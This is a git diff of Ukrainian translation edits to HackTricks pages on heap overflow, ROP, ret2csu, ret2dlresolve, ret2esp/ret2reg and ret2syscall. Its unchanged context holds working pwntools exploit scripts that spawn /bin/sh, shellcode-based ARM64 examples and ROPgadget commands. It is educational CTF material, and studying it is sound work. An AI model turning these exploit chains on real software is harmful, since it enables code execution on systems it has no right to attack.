[**На цій сторінці**](https://guyinatuxedo.github.io/27-edit_free_chunk/heap_consolidation_explanation/index.html) можна знайти базову емуляцію переповнення купи, яка показує, як перезаписуючи біт prev in use наступного фрагмента та позицію prev size, можна **консолідувати використаний фрагмент** (змушуючи його думати, що він не використовується) і **потім знову алокувати його**, маючи можливість перезаписати дані, які використовуються в іншому вказівнику.
|
||||
[**На цій сторінці**](https://guyinatuxedo.github.io/27-edit_free_chunk/heap_consolidation_explanation/index.html) можна знайти базову емуляцію переповнення купи, яка показує, як перезаписуючи біт prev in use наступного шматка та позицію prev size, можна **консолідувати використаний шматок** (змушуючи його думати, що він не використовується) і **потім знову алокувати його**, маючи можливість перезаписати дані, які використовуються в іншому вказівнику.
|
||||
|
||||
Ще один приклад з [**protostar heap 0**](https://guyinatuxedo.github.io/24-heap_overflow/protostar_heap0/index.html) показує дуже базовий приклад CTF, де **переповнення купи** може бути використано для виклику функції переможця, щоб **отримати прапор**.
|
||||
|
||||
У прикладі [**protostar heap 1**](https://guyinatuxedo.github.io/24-heap_overflow/protostar_heap1/index.html) можна побачити, як зловживаючи переповненням буфера, можна **перезаписати в сусідньому фрагменті адресу**, куди **будуть записані довільні дані від користувача**.
|
||||
У прикладі [**protostar heap 1**](https://guyinatuxedo.github.io/24-heap_overflow/protostar_heap1/index.html) можна побачити, як зловживаючи переповненням буфера, можна **перезаписати в сусідньому шматку адресу**, куди **будуть записані довільні дані від користувача**.
|
||||
|
||||
### Example ARM64
|
||||
|
||||
На сторінці [https://8ksec.io/arm64-reversing-and-exploitation-part-1-arm-instruction-set-simple-heap-overflow/](https://8ksec.io/arm64-reversing-and-exploitation-part-1-arm-instruction-set-simple-heap-overflow/) ви можете знайти приклад переповнення купи, де команда, яка буде виконана, зберігається в наступному фрагменті від переповненого фрагмента. Таким чином, можна змінити виконувану команду, перезаписавши її простим експлойтом, таким як:
|
||||
На сторінці [https://8ksec.io/arm64-reversing-and-exploitation-part-1-arm-instruction-set-simple-heap-overflow/](https://8ksec.io/arm64-reversing-and-exploitation-part-1-arm-instruction-set-simple-heap-overflow/) ви можете знайти приклад переповнення купи, де команда, яка буде виконана, зберігається в наступному шматку від переповненого шматка. Таким чином, можна змінити виконувану команду, перезаписавши її простим експлойтом, таким як:
|
||||
```bash
|
||||
python3 -c 'print("/"*0x400+"/bin/ls\x00")' > hax.txt
|
||||
```
|
||||
|
@ -8,7 +8,7 @@
|
||||
|
||||
### Як працює ROP
|
||||
|
||||
1. **Перехоплення потоку управління**: Спочатку зловмисник повинен перехопити потік управління програми, зазвичай експлуатуючи переповнення буфера для перезапису збереженої адреси повернення в стеку.
|
||||
1. **Перехоплення потоку управління**: Спочатку зловмисник повинен перехопити потік управління програми, зазвичай експлуатуючи переповнення буфера, щоб перезаписати збережену адресу повернення в стеку.
|
||||
2. **Поєднання gadgets**: Потім зловмисник обережно вибирає та поєднує gadgets для виконання бажаних дій. Це може включати налаштування аргументів для виклику функції, виклик функції (наприклад, `system("/bin/sh")`) та обробку будь-яких необхідних очищень або додаткових операцій.
|
||||
3. **Виконання payload**: Коли вразлива функція повертається, замість повернення до легітимного місця, вона починає виконувати ланцюг gadgets.
|
||||
|
||||
@ -20,10 +20,10 @@
|
||||
|
||||
### **x86 (32-біт) Конвенції виклику**
|
||||
|
||||
- **cdecl**: Викликач очищає стек. Аргументи функції поміщаються в стек у зворотному порядку (з правого на ліве). **Аргументи поміщаються в стек з правого на ліве.**
|
||||
- **cdecl**: Викликач очищає стек. Аргументи функції поміщаються в стек у зворотному порядку (з правого на лівий). **Аргументи поміщаються в стек з правого на лівий.**
|
||||
- **stdcall**: Схоже на cdecl, але викликана функція відповідає за очищення стека.
|
||||
|
||||
### **Знаходження gadgets**
|
||||
### **Пошук gadgets**
|
||||
|
||||
Спочатку припустимо, що ми визначили необхідні gadgets у бінарному файлі або його завантажених бібліотеках. Gadgets, які нас цікавлять:
|
||||
|
||||
@ -37,7 +37,7 @@
|
||||
Використовуючи **pwntools**, ми готуємо стек для виконання ROP chain наступним чином, намагаючись виконати `system('/bin/sh')`, зверніть увагу, як ланцюг починається з:
|
||||
|
||||
1. Інструкції `ret` для вирівнювання (необов'язково)
|
||||
2. Адреси функції `system` (припускаючи, що ASLR вимкнено і libc відома, більше інформації в [**Ret2lib**](ret2lib/))
|
||||
2. Адреси функції `system` (припускаючи, що ASLR вимкнено і libc відома, більше інформації в [**Ret2lib**](ret2lib/index.html))
|
||||
3. Заповнювач для адреси повернення з `system()`
|
||||
4. Адреса рядка `"/bin/sh"` (параметр для функції system)
|
||||
```python
|
||||
@ -73,17 +73,17 @@ payload = fit({offset: rop_chain})
|
||||
p.sendline(payload)
|
||||
p.interactive()
|
||||
```
|
||||
## ROP Chain в x64 Приклад
|
||||
## ROP Chain in x64 Example
|
||||
|
||||
### **x64 (64-біт) Виклик конвенцій**
|
||||
### **x64 (64-bit) Calling conventions**
|
||||
|
||||
- Використовує конвенцію виклику **System V AMD64 ABI** на системах, подібних до Unix, де **перші шість цілочисельних або вказівних аргументів передаються в регістри `RDI`, `RSI`, `RDX`, `RCX`, `R8` та `R9`**. Додаткові аргументи передаються на стек. Значення повернення розміщується в `RAX`.
|
||||
- Конвенція виклику **Windows x64** використовує `RCX`, `RDX`, `R8` та `R9` для перших чотирьох цілочисельних або вказівних аргументів, з додатковими аргументами, що передаються на стек. Значення повернення розміщується в `RAX`.
|
||||
- Використовує **System V AMD64 ABI** викликову конвенцію на Unix-подібних системах, де **перші шість цілочисельних або вказівних аргументів передаються в регістри `RDI`, `RSI`, `RDX`, `RCX`, `R8` та `R9`**. Додаткові аргументи передаються на стек. Значення повернення розміщується в `RAX`.
|
||||
- **Windows x64** викликна конвенція використовує `RCX`, `RDX`, `R8` та `R9` для перших чотирьох цілочисельних або вказівних аргументів, з додатковими аргументами, що передаються на стек. Значення повернення розміщується в `RAX`.
|
||||
- **Регістри**: 64-бітні регістри включають `RAX`, `RBX`, `RCX`, `RDX`, `RSI`, `RDI`, `RBP`, `RSP` та `R8` до `R15`.
|
||||
|
||||
#### **Знаходження Гаджетів**
|
||||
#### **Finding Gadgets**
|
||||
|
||||
Для наших цілей зосередимося на гаджетах, які дозволять нам встановити регістр **RDI** (щоб передати рядок **"/bin/sh"** як аргумент для **system()**) і потім викликати функцію **system()**. Ми припустимо, що ми визначили наступні гаджети:
|
||||
Для наших цілей зосередимося на гаджетах, які дозволять нам встановити регістр **RDI** (щоб передати рядок **"/bin/sh"** як аргумент для **system()**) і потім викликати функцію **system()**. Ми припустимо, що ми ідентифікували наступні гаджети:
|
||||
|
||||
- **pop rdi; ret**: Витягує верхнє значення зі стека в **RDI** і потім повертається. Важливо для встановлення нашого аргументу для **system()**.
|
||||
- **ret**: Просте повернення, корисне для вирівнювання стека в деяких сценаріях.
|
||||
@ -92,7 +92,7 @@ p.interactive()
|
||||
|
||||
### **ROP Chain**
|
||||
|
||||
Нижче наведено приклад використання **pwntools** для налаштування та виконання ROP ланцюга, що має на меті виконати **system('/bin/sh')** на **x64**:
|
||||
Нижче наведено приклад використання **pwntools** для налаштування та виконання ROP-ланцюга, що має на меті виконати **system('/bin/sh')** на **x64**:
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
@ -129,18 +129,18 @@ p.interactive()
|
||||
```
|
||||
У цьому прикладі:
|
||||
|
||||
- Ми використовуємо гаджет **`pop rdi; ret`** для встановлення **`RDI`** на адресу **`"/bin/sh"`**.
|
||||
- Ми використовуємо **`pop rdi; ret`** гаджет, щоб встановити **`RDI`** на адресу **`"/bin/sh"`**.
|
||||
- Ми безпосередньо переходимо до **`system()`** після встановлення **`RDI`**, з адресою **system()** в ланцюгу.
|
||||
- **`ret_gadget`** використовується для вирівнювання, якщо цільове середовище цього вимагає, що є більш поширеним у **x64** для забезпечення правильного вирівнювання стеку перед викликом функцій.
|
||||
|
||||
### Вирівнювання стеку
|
||||
|
||||
**x86-64 ABI** забезпечує, щоб **стек був вирівняний на 16 байт** під час виконання **інструкції виклику**. **LIBC**, для оптимізації продуктивності, **використовує інструкції SSE** (такі як **movaps**), які вимагають цього вирівнювання. Якщо стек не вирівняний належним чином (означає, що **RSP** не є кратним 16), виклики функцій, таких як **system**, зазнають невдачі в **ROP ланцюзі**. Щоб виправити це, просто додайте **ret gadget** перед викликом **system** у вашому ROP ланцюзі.
|
||||
**x86-64 ABI** забезпечує, що **стек вирівняний на 16 байт**, коли виконується **інструкція виклику**. **LIBC**, для оптимізації продуктивності, **використовує інструкції SSE** (такі як **movaps**), які вимагають цього вирівнювання. Якщо стек не вирівняний належним чином (тобто **RSP** не є кратним 16), виклики функцій, таких як **system**, зазнають невдачі в **ROP ланцюзі**. Щоб виправити це, просто додайте **ret gadget** перед викликом **system** у вашому ROP ланцюзі.
|
||||
|
||||
## Основна різниця між x86 та x64
|
||||
|
||||
> [!TIP]
|
||||
> Оскільки **x64 використовує регістри для перших кількох аргументів,** це часто вимагає менше гаджетів, ніж x86 для простих викликів функцій, але знаходження та з'єднання правильних гаджетів може бути більш складним через збільшену кількість регістрів і більший адресний простір. Збільшена кількість регістрів і більший адресний простір в архітектурі **x64** надають як можливості, так і виклики для розробки експлойтів, особливо в контексті Return-Oriented Programming (ROP).
|
||||
> Оскільки **x64 використовує регістри для перших кількох аргументів**, він часто вимагає менше гаджетів, ніж x86 для простих викликів функцій, але знаходження та з'єднання правильних гаджетів може бути більш складним через збільшену кількість регістрів і більший адресний простір. Збільшена кількість регістрів і більший адресний простір в архітектурі **x64** надають як можливості, так і виклики для розробки експлойтів, особливо в контексті Return-Oriented Programming (ROP).
|
||||
|
||||
## Приклад ROP ланцюга в ARM64
|
||||
|
||||
@ -154,15 +154,15 @@ p.interactive()
|
||||
|
||||
## Захист від ROP
|
||||
|
||||
- [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **&** [**PIE**](../common-binary-protections-and-bypasses/pie/): Ці захисти ускладнюють використання ROP, оскільки адреси гаджетів змінюються між виконаннями.
|
||||
- [**Stack Canaries**](../common-binary-protections-and-bypasses/stack-canaries/): У випадку BOF, потрібно обійти зберігання canary стеку, щоб перезаписати вказівники повернення для зловживання ROP ланцюгом.
|
||||
- [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) **&** [**PIE**](../common-binary-protections-and-bypasses/pie/index.html): Ці захисти ускладнюють використання ROP, оскільки адреси гаджетів змінюються між виконаннями.
|
||||
- [**Stack Canaries**](../common-binary-protections-and-bypasses/stack-canaries/index.html): У випадку BOF, потрібно обійти зберігання canary стеку, щоб перезаписати вказівники повернення для зловживання ROP ланцюгом.
|
||||
- **Брак гаджетів**: Якщо недостатньо гаджетів, не буде можливості згенерувати ROP ланцюг.
|
||||
|
||||
## Техніки на основі ROP
|
||||
|
||||
Зверніть увагу, що ROP - це лише техніка для виконання довільного коду. На основі ROP було розроблено багато технік Ret2XXX:
|
||||
|
||||
- **Ret2lib**: Використовуйте ROP для виклику довільних функцій з завантаженої бібліотеки з довільними параметрами (зазвичай щось на зразок `system('/bin/sh')`.
|
||||
- **Ret2lib**: Використовуйте ROP для виклику довільних функцій з завантаженої бібліотеки з довільними параметрами (зазвичай щось на кшталт `system('/bin/sh')`.
|
||||
|
||||
{{#ref}}
|
||||
ret2lib/
|
||||
@ -174,7 +174,7 @@ ret2lib/
|
||||
rop-syscall-execv/
|
||||
{{#endref}}
|
||||
|
||||
- **EBP2Ret & EBP Chaining**: Перший буде зловживати EBP замість EIP для контролю потоку, а другий подібний до Ret2lib, але в цьому випадку потік контролюється в основному адресами EBP (хоча також потрібно контролювати EIP).
|
||||
- **EBP2Ret & EBP Chaining**: Перший буде зловживати EBP замість EIP для контролю потоку, а другий подібний до Ret2lib, але в цьому випадку потік контролюється переважно адресами EBP (хоча також потрібно контролювати EIP).
|
||||
|
||||
{{#ref}}
|
||||
../stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md
|
||||
@ -184,8 +184,8 @@ rop-syscall-execv/
|
||||
|
||||
- [https://ir0nstone.gitbook.io/notes/types/stack/return-oriented-programming/exploiting-calling-conventions](https://ir0nstone.gitbook.io/notes/types/stack/return-oriented-programming/exploiting-calling-conventions)
|
||||
- [https://guyinatuxedo.github.io/15-partial_overwrite/hacklu15_stackstuff/index.html](https://guyinatuxedo.github.io/15-partial_overwrite/hacklu15_stackstuff/index.html)
|
||||
- 64 біт, Pie та nx увімкнено, без canary, перезаписати RIP з адресою `vsyscall` з єдиною метою повернення до наступної адреси в стеку, яка буде частковим перезаписом адреси для отримання частини функції, яка витікає з прапора.
|
||||
- 64 біт, Pie та nx увімкнені, без canary, перезаписати RIP з адресою `vsyscall` з єдиною метою повернення до наступної адреси в стеку, яка буде частковим перезаписом адреси для отримання частини функції, яка витікає прапор
|
||||
- [https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/](https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/)
|
||||
- arm64, без ASLR, ROP гаджет для виконання стеку та переходу до shellcode в стеку.
|
||||
- arm64, без ASLR, ROP гаджет для зробити стек виконуваним і перейти до shellcode в стеку
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -8,7 +8,7 @@
|
||||
|
||||
**ret2csu** - це техніка хакерства, яка використовується, коли ви намагаєтеся взяти під контроль програму, але не можете знайти **gadgets**, які зазвичай використовуєте для маніпуляції поведінкою програми.
|
||||
|
||||
Коли програма використовує певні бібліотеки (наприклад, libc), вона має деякі вбудовані функції для управління тим, як різні частини програми спілкуються одна з одною. Серед цих функцій є кілька прихованих скарбів, які можуть діяти як наші відсутні gadgets, особливо одна з них під назвою `__libc_csu_init`.
|
||||
Коли програма використовує певні бібліотеки (наприклад, libc), вона має вбудовані функції для управління тим, як різні частини програми спілкуються одна з одною. Серед цих функцій є кілька прихованих перлин, які можуть діяти як наші відсутні gadgets, особливо одна під назвою `__libc_csu_init`.
|
||||
|
||||
### Магічні Gadgets в \_\_libc_csu_init
|
||||
|
||||
@ -35,7 +35,7 @@ mov rsi, r14;
|
||||
mov edi, r13d;
|
||||
call qword [r12 + rbx*8];
|
||||
```
|
||||
3. Можливо, ви не знаєте жодної адреси, куди можна написати, і вам **потрібна інструкція `ret`**. Зверніть увагу, що другий гаджет також **закінчиться на `ret`**, але вам потрібно буде виконати деякі **умови**, щоб досягти його:
|
||||
3. Можливо, ви не знаєте жодної адреси, куди можна записати, і вам **потрібна інструкція `ret`**. Зверніть увагу, що другий гаджет також **закінчиться на `ret`**, але вам потрібно буде виконати деякі **умови**, щоб досягти його:
|
||||
```armasm
|
||||
mov rdx, r15;
|
||||
mov rsi, r14;
|
||||
@ -50,7 +50,7 @@ ret
|
||||
Умови будуть такими:
|
||||
|
||||
- `[r12 + rbx*8]` має вказувати на адресу, що зберігає викликаючу функцію (якщо немає ідеї і немає pie, ви можете просто використовувати функцію `_init`):
|
||||
- Якщо \_init знаходиться за адресою `0x400560`, використовуйте GEF, щоб знайти в пам'яті вказівник на неї і зробіть так, щоб `[r12 + rbx*8]` був адресою з вказівником на \_init:
|
||||
- Якщо \_init знаходиться за адресою `0x400560`, використовуйте GEF для пошуку в пам'яті вказівника на неї і зробіть так, щоб `[r12 + rbx*8]` був адресою з вказівником на \_init:
|
||||
```bash
|
||||
# Example from https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html
|
||||
gef➤ search-pattern 0x400560
|
||||
@ -61,7 +61,7 @@ gef➤ search-pattern 0x400560
|
||||
0x600e38 - 0x600e44 → "\x60\x05\x40[...]"
|
||||
```
|
||||
- `rbp` та `rbx` повинні мати однакове значення, щоб уникнути переходу
|
||||
- Є деякі пропущені попи, які потрібно врахувати
|
||||
- Є деякі пропущені pop, які потрібно врахувати
|
||||
|
||||
## RDI та RSI
|
||||
|
||||
@ -79,14 +79,14 @@ brop-blind-return-oriented-programming.md
|
||||
|
||||
### Використання виклику
|
||||
|
||||
Уявіть, що ви хочете зробити системний виклик або викликати функцію, таку як `write()`, але вам потрібні специфічні значення в регістрах `rdx` та `rsi` як параметри. Зазвичай ви шукали б гаджети, які безпосередньо встановлюють ці регістри, але не можете знайти жодного.
|
||||
Уявіть, що ви хочете зробити syscall або викликати функцію, таку як `write()`, але вам потрібні специфічні значення в регістрах `rdx` та `rsi` як параметри. Зазвичай ви шукали б гаджети, які безпосередньо встановлюють ці регістри, але не можете знайти жодного.
|
||||
|
||||
Ось тут і вступає в гру **ret2csu**:
|
||||
Ось де **ret2csu** вступає в гру:
|
||||
|
||||
1. **Налаштуйте регістри**: Використовуйте перший магічний гаджет, щоб витягти значення зі стеку та помістити їх у rbx, rbp, r12 (edi), r13 (rsi), r14 (rdx) та r15.
|
||||
2. **Використовуйте другий гаджет**: З цими налаштованими регистрами ви використовуєте другий гаджет. Це дозволяє вам перемістити вибрані значення в `rdx` та `rsi` (з r14 та r13 відповідно), готуючи параметри для виклику функції. Більше того, контролюючи `r15` та `rbx`, ви можете змусити програму викликати функцію, розташовану за адресою, яку ви обчислюєте та поміщаєте в `[r15 + rbx*8]`.
|
||||
|
||||
У вас є [**приклад використання цієї техніки та пояснення тут**](https://ir0nstone.gitbook.io/notes/types/stack/ret2csu/exploitation), і це фінальний експлойт, який він використовував:
|
||||
У вас є [**приклад використання цієї техніки та пояснення тут**](https://ir0nstone.gitbook.io/notes/types/stack/ret2csu/exploitation), і це фінальний експлойт, який він використав:
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
@ -111,7 +111,7 @@ p.sendline(p64(elf.sym['win'])) # send to gets() so it's written
|
||||
print(p.recvline()) # should receive "Awesome work!"
|
||||
```
|
||||
> [!WARNING]
|
||||
> Зверніть увагу, що попередній експлойт не призначений для виконання **`RCE`**, він призначений лише для виклику функції під назвою **`win`** (взявши адресу `win` з stdin, викликаючи gets в ROP-ланцюгу та зберігаючи її в r15) з третім аргументом зі значенням `0xdeadbeefcafed00d`.
|
||||
> Зверніть увагу, що попередній експлойт не призначений для виконання **`RCE`**, він призначений лише для виклику функції під назвою **`win`** (взявши адресу `win` з stdin, викликавши gets у ROP-ланцюгу та зберігши її в r15) з третім аргументом зі значенням `0xdeadbeefcafed00d`.
|
||||
|
||||
### Обхід виклику та досягнення ret
|
||||
|
||||
@ -167,6 +167,6 @@ target.interactive()
|
||||
```
|
||||
### Чому не просто використовувати libc безпосередньо?
|
||||
|
||||
Зазвичай ці випадки також вразливі до [**ret2plt**](../common-binary-protections-and-bypasses/aslr/ret2plt.md) + [**ret2lib**](ret2lib/), але іноді вам потрібно контролювати більше параметрів, ніж можна легко контролювати за допомогою гаджетів, які ви знаходите безпосередньо в libc. Наприклад, функція `write()` вимагає три параметри, і **знайти гаджети для встановлення всіх цих безпосередньо може бути неможливо**.
|
||||
Зазвичай ці випадки також вразливі до [**ret2plt**](../common-binary-protections-and-bypasses/aslr/ret2plt.md) + [**ret2lib**](ret2lib/index.html), але іноді вам потрібно контролювати більше параметрів, ніж можна легко контролювати за допомогою гаджетів, які ви знаходите безпосередньо в libc. Наприклад, функція `write()` вимагає три параметри, і **знайти гаджети для встановлення всіх цих безпосередньо може бути неможливо**.
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -4,7 +4,7 @@
|
||||
|
||||
## Basic Information
|
||||
|
||||
Як пояснено на сторінці про [**GOT/PLT**](../arbitrary-write-2-exec/aw2exec-got-plt.md) та [**Relro**](../common-binary-protections-and-bypasses/relro.md), бінарники без Full Relro будуть розв'язувати символи (як адреси до зовнішніх бібліотек) під час їх першого використання. Це розв'язання відбувається через виклик функції **`_dl_runtime_resolve`**.
|
||||
Як пояснено на сторінці про [**GOT/PLT**](../arbitrary-write-2-exec/aw2exec-got-plt.md) та [**Relro**](../common-binary-protections-and-bypasses/relro.md), бінарні файли без Full Relro будуть розв'язувати символи (як адреси до зовнішніх бібліотек) під час їх першого використання. Це розв'язання відбувається через виклик функції **`_dl_runtime_resolve`**.
|
||||
|
||||
Функція **`_dl_runtime_resolve`** отримує зі стеку посилання на деякі структури, які їй потрібні для **розв'язання** вказаного символу.
|
||||
|
||||
@ -13,7 +13,7 @@
|
||||
Зазвичай всі ці структури підробляються шляхом створення **початкового ROP-ланцюга, який викликає `read`** над записуваною пам'яттю, потім **структури** та рядок **`'/bin/sh'`** передаються, щоб їх зберегти за допомогою read у відомому місці, а потім ROP-ланцюг продовжується викликом **`_dl_runtime_resolve`**, змушуючи його **розв'язати адресу `system`** у підроблених структурах і **викликати цю адресу** з адресою до `$'/bin/sh'`.
|
||||
|
||||
> [!TIP]
|
||||
> Ця техніка особливо корисна, якщо немає syscall gadgets (для використання таких технік, як [**ret2syscall**](rop-syscall-execv/) або [SROP](srop-sigreturn-oriented-programming/)) і немає способів витоку адрес libc.
|
||||
> Ця техніка особливо корисна, якщо немає syscall gadgets (для використання таких технік, як [**ret2syscall**](rop-syscall-execv/index.html) або [SROP](srop-sigreturn-oriented-programming/index.html)) і немає способів витоку адрес libc.
|
||||
|
||||
Перегляньте це відео для гарного пояснення цієї техніки в другій половині відео:
|
||||
|
||||
@ -28,7 +28,7 @@ https://youtu.be/ADULSwnQs-s?feature=shared
|
||||
|
||||
## Attack Summary
|
||||
|
||||
1. Записати підроблені структури в якесь місце
|
||||
1. Написати підроблені структури в якесь місце
|
||||
2. Встановити перший аргумент системи (`$rdi = &'/bin/sh'`)
|
||||
3. Встановити на стеку адреси до структур для виклику **`_dl_runtime_resolve`**
|
||||
4. **Викликати** `_dl_runtime_resolve`
|
||||
@ -188,6 +188,6 @@ target.interactive()
|
||||
- [https://youtu.be/ADULSwnQs-s](https://youtu.be/ADULSwnQs-s?feature=shared)
|
||||
- [https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve](https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve)
|
||||
- [https://guyinatuxedo.github.io/18-ret2_csu_dl/0ctf18_babystack/index.html](https://guyinatuxedo.github.io/18-ret2_csu_dl/0ctf18_babystack/index.html)
|
||||
- 32bit, без relro, без canary, nx, без pie, базовий малий переповнення буфера та повернення. Для експлуатації використовується bof для повторного виклику `read` з секцією `.bss` та більшим розміром, щоб зберегти там фейкові таблиці `dlresolve` для завантаження `system`, повернення до main та повторного використання початкового bof для виклику dlresolve, а потім `system('/bin/sh')`.
|
||||
- 32bit, без relro, без canary, nx, без pie, базовий малий переповнення буфера та повернення. Для експлуатації використовується переповнення буфера для повторного виклику `read` з секцією `.bss` та більшим розміром, щоб зберегти там фейкові таблиці `dlresolve` для завантаження `system`, повернення до main та повторного використання початкового переповнення буфера для виклику dlresolve, а потім `system('/bin/sh')`.
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -6,18 +6,18 @@
|
||||
|
||||
**Оскільки ESP (вказівник стеку) завжди вказує на верхню частину стеку**, ця техніка полягає в заміні EIP (вказівник інструкцій) адресою інструкції **`jmp esp`** або **`call esp`**. Таким чином, shellcode розміщується безпосередньо після переписаного EIP. Коли виконується інструкція `ret`, ESP вказує на наступну адресу, точно там, де зберігається shellcode.
|
||||
|
||||
Якщо **випадкове розташування адресного простору (ASLR)** не активовано в Windows або Linux, можна використовувати інструкції `jmp esp` або `call esp`, знайдені в спільних бібліотеках. Однак, з активним [**ASLR**](../common-binary-protections-and-bypasses/aslr/), можливо, доведеться шукати ці інструкції безпосередньо в уразливій програмі (і вам, можливо, потрібно буде подолати [**PIE**](../common-binary-protections-and-bypasses/pie/)).
|
||||
Якщо **випадкове розташування адресного простору (ASLR)** не активовано в Windows або Linux, можна використовувати інструкції `jmp esp` або `call esp`, знайдені в спільних бібліотеках. Однак, з активним [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html), можливо, доведеться шукати ці інструкції безпосередньо в уразливій програмі (і вам, можливо, потрібно буде подолати [**PIE**](../common-binary-protections-and-bypasses/pie/index.html)).
|
||||
|
||||
Більше того, можливість розмістити shellcode **після корупції EIP**, а не посередині стеку, забезпечує, що будь-які інструкції `push` або `pop`, виконувані під час роботи функції, не заважатимуть shellcode. Це завада може статися, якщо shellcode буде розміщено посередині стеку функції.
|
||||
|
||||
### Брак місця
|
||||
### Нестача місця
|
||||
|
||||
Якщо у вас недостатньо місця для запису після переписування RIP (можливо, лише кілька байтів), напишіть початковий shellcode **`jmp`** як:
|
||||
```armasm
|
||||
sub rsp, 0x30
|
||||
jmp rsp
|
||||
```
|
||||
І напишіть shellcode на початку стеку.
|
||||
І напишіть shellcode раніше в стеку.
|
||||
|
||||
### Приклад
|
||||
|
||||
@ -98,19 +98,19 @@ for i in `seq 1 30`; do
|
||||
ROPgadget --binary /usr/lib/aarch64-linux-gnu/libc.so.6 | grep -Ei "[mov|add] x${i}, sp.* ; b[a-z]* x${i}( |$)";
|
||||
done
|
||||
```
|
||||
Єдині, які я виявив, змінювали значення реєстру, куди sp було скопійовано перед переходом до нього (тому він ставав марним):
|
||||
Єдині, які я виявив, змінювали значення реєстру, куди sp був скопійований перед переходом до нього (тому він ставав марним):
|
||||
|
||||
<figure><img src="../../images/image (1224).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Ret2reg
|
||||
|
||||
Якщо реєстр має цікаву адресу, можна перейти до нього, просто знайшовши відповідну інструкцію. Ви можете використати щось на кшталт:
|
||||
Якщо реєстр має цікаву адресу, можна перейти до нього, просто знайшовши відповідну інструкцію. Ви можете використовувати щось на кшталт:
|
||||
```bash
|
||||
ROPgadget --binary /usr/lib/aarch64-linux-gnu/libc.so.6 | grep -Ei " b[a-z]* x[0-9][0-9]?";
|
||||
```
|
||||
В ARM64 **`x0`** зберігає значення, яке повертає функція, тому можливо, що x0 зберігає адресу буфера, контрольованого користувачем, з shellcode для виконання.
|
||||
В ARM64, це **`x0`** зберігає значення повернення функції, тому може бути, що x0 зберігає адресу буфера, контрольованого користувачем, з shellcode для виконання.
|
||||
|
||||
Приклад коду:
|
||||
Example code:
|
||||
```c
|
||||
// clang -o ret2x0 ret2x0.c -no-pie -fno-stack-protector -Wno-format-security -z execstack
|
||||
|
||||
@ -159,13 +159,13 @@ p.sendline(payload)
|
||||
p.interactive()
|
||||
```
|
||||
> [!WARNING]
|
||||
> Якщо замість `fgets` використовувалося б щось на кшталт **`read`**, можна було б обійти PIE, **перезаписавши лише останні 2 байти адреси повернення**, щоб повернутися до інструкції `br x0;` без необхідності знати повну адресу.\
|
||||
> Якщо замість `fgets` використовувався б щось на кшталт **`read`**, можна було б обійти PIE, **перезаписавши лише останні 2 байти адреси повернення**, щоб повернутися до інструкції `br x0;` без необхідності знати повну адресу.\
|
||||
> З `fgets` це не працює, оскільки **додає нульовий (0x00) байт в кінець**.
|
||||
|
||||
## Захист
|
||||
|
||||
- [**NX**](../common-binary-protections-and-bypasses/no-exec-nx.md): Якщо стек не є виконуваним, це не допоможе, оскільки нам потрібно помістити shellcode в стек і перейти до його виконання.
|
||||
- [**ASLR**](../common-binary-protections-and-bypasses/aslr/) & [**PIE**](../common-binary-protections-and-bypasses/pie/): Це може ускладнити пошук інструкції для переходу до esp або будь-якого іншого регістру.
|
||||
- [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) & [**PIE**](../common-binary-protections-and-bypasses/pie/index.html): Це може ускладнити пошук інструкції для переходу до esp або будь-якого іншого регістру.
|
||||
|
||||
## Посилання
|
||||
|
||||
|
@ -2,9 +2,9 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Основна інформація
|
||||
## Basic Information
|
||||
|
||||
Це схоже на Ret2lib, однак у цьому випадку ми не будемо викликати функцію з бібліотеки. У цьому випадку все буде підготовлено для виклику системного виклику `sys_execve` з деякими аргументами для виконання `/bin/sh`. Ця техніка зазвичай виконується на бінарних файлах, які скомпільовані статично, тому може бути багато гаджетів і інструкцій системного виклику.
|
||||
Це схоже на Ret2lib, однак у цьому випадку ми не будемо викликати функцію з бібліотеки. У цьому випадку все буде підготовлено для виклику системного виклику `sys_execve` з деякими аргументами для виконання `/bin/sh`. Ця техніка зазвичай виконується на бінарних файлах, які компілюються статично, тому може бути багато гаджетів і інструкцій системного виклику.
|
||||
|
||||
Щоб підготувати виклик для **syscall**, потрібна наступна конфігурація:
|
||||
|
||||
@ -13,12 +13,12 @@
|
||||
- `rsi: 0 вказати, що аргументи не передані`
|
||||
- `rdx: 0 вказати, що змінні середовища не передані`
|
||||
|
||||
Отже, в основному потрібно записати рядок `/bin/sh` десь, а потім виконати `syscall` (з урахуванням заповнення, необхідного для контролю стеку). Для цього нам потрібен гаджет, щоб записати `/bin/sh` у відомій області.
|
||||
Отже, в основному потрібно записати рядок `/bin/sh` десь, а потім виконати `syscall` (пам'ятаючи про заповнення, необхідне для контролю стеку). Для цього нам потрібен гаджет, щоб записати `/bin/sh` у відомій області.
|
||||
|
||||
> [!TIP]
|
||||
> Ще один цікавий системний виклик для виклику - це **`mprotect`**, який дозволить зловмиснику **змінити дозволи сторінки в пам'яті**. Це можна поєднати з [**ret2shellcode**](../../stack-overflow/stack-shellcode/).
|
||||
> Інший цікавий системний виклик для виклику - це **`mprotect`**, який дозволить зловмиснику **змінити дозволи сторінки в пам'яті**. Це можна поєднати з [**ret2shellcode**](../../stack-overflow/stack-shellcode/index.html).
|
||||
|
||||
## Гаджети регістрів
|
||||
## Register gadgets
|
||||
|
||||
Давайте почнемо з пошуку **як контролювати ці регістри**:
|
||||
```bash
|
||||
@ -52,7 +52,7 @@ mov qword ptr [rax], rdx ; ret #Write in the rax address the content of rdx
|
||||
```
|
||||
### Автоматизація ROP ланцюга
|
||||
|
||||
